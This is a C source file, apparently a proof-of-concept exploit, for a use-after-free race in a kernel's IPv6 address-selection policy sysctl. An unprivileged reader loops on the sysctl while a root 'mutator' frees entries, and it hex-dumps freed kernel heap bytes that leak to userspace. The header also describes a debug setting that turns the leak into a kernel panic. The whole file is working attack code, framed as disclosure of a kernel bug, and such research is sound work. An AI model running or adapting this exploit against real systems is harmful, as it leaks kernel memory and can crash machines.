/* DF-0615 PoC: reader.c — unprivileged sysctl reader, tight race loop.
 *
 * Reads net.inet6.ip6.addrctlpolicy in a tight loop. The sysctl handler
 * walk_addrsel_policy() runs on THIS (user) thread and dereferences each
 * addrsel_policyent, calling SYSCTL_OUT (copyout, can block) per entry.
 * A concurrent root mutator (mutator.c) frees the entry this reader
 * currently holds; reader resumes and TAILQ_NEXT(pol) reads the freed
 * chunk's offset-0 word — a slab free-list pointer (kern_slaballoc.c:1584)
 * — and walks the free list, copying freed/garbage heap bytes to userspace
 * (info leak), or, with debug.use_weird_array=1, panics on an odd pointer.
 *
 * Anomaly detection: the mutator maintains exactly NENT entries (label in
 * [0..NENT)) plus the 9 RFC-3484 boot defaults. If we ever see an entry
 * whose fields are impossible (sin6_family != AF_INET6 == 28, label out
 * of range, preced == garbage), that entry was read from FREED memory
 * (UAF). We hex-dump those leaked bytes as evidence. Seeing MORE entries
 * than the real table size is also a UAF signature (we walked the free list).
 *
 * Build: cc -O2 -o reader reader.c
 * Run:   ./reader          (as maxx, unprivileged)
 *        (root may enable debug.use_weird_array=1 first to turn the leak
 *         into a kernel panic — the definitive UAF proof.)
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet6/in6_var.h>

#ifndef NENT
#define NENT 64        /* must match mutator.c */
#endif
#define DEFAULTS 9     /* RFC-3484 boot-default policy entries */
#define REALMAX (NENT + DEFAULTS + 2)

static void hexdump(const char *p, size_t n, const char *tag) {
    fprintf(stderr, "%s (%zu bytes):\n", tag, n);
    for (size_t i = 0; i < n; i++) {
        if (i % 16 == 0) fprintf(stderr, "  %04zx:", i);
        fprintf(stderr, " %02x", (unsigned char)p[i]);
        if (i % 16 == 15) fprintf(stderr, "\n");
    }
    if (n % 16) fprintf(stderr, "\n");
}

int main(void) {
    static char buf[1 << 16];
    size_t len, psz = sizeof(struct in6_addrpolicy);
    unsigned long iters = 0, anomalies = 0, maxent = 0;

    for (;;) {
        len = sizeof(buf);
        if (sysctlbyname("net.inet6.ip6.addrctlpolicy", buf, &len, NULL, 0) == 0) {
            size_t nent = len / psz;
            if (nent > maxent) maxent = nent;
            /* UAF signature 1: more entries than can possibly exist */
            if (nent > REALMAX && anomalies < 8) {
                anomalies++;
                fprintf(stderr,
                    "[reader] UAF#1: sysctl returned %zu entries (> %d real) iter %lu "
                    "-- walked freed slab chunks\n", nent, REALMAX, iters);
            }
            /* UAF signature 2: an entry with impossible fields = freed garbage */
            struct in6_addrpolicy *p = (void *)buf;
            for (size_t i = 0; i < nent; i++) {
                int fam = p[i].addr.sin6_family;
                int lab = p[i].label;
                int prec = p[i].preced;
                if (fam != AF_INET6 || lab < -1 || lab > 1024 || prec < -100000 || prec > 1000000) {
                    if (anomalies < 8) {
                        anomalies++;
                        fprintf(stderr,
                            "[reader] UAF#2: entry %zu/%zu fam=%d label=%d preced=%d "
                            "(freed-chunk garbage) iter %lu\n",
                            i, nent, fam, lab, prec, iters);
                        hexdump((char *)&p[i], psz, "  leaked freed-chunk bytes");
                    }
                    break;
                }
            }
        }
        iters++;
        if ((iters & 0xffff) == 0)
            fprintf(stderr, "[reader] %lu iters, %lu anomalies, maxent=%lu\n",
                    iters, anomalies, maxent);
    }
    return 0;
}
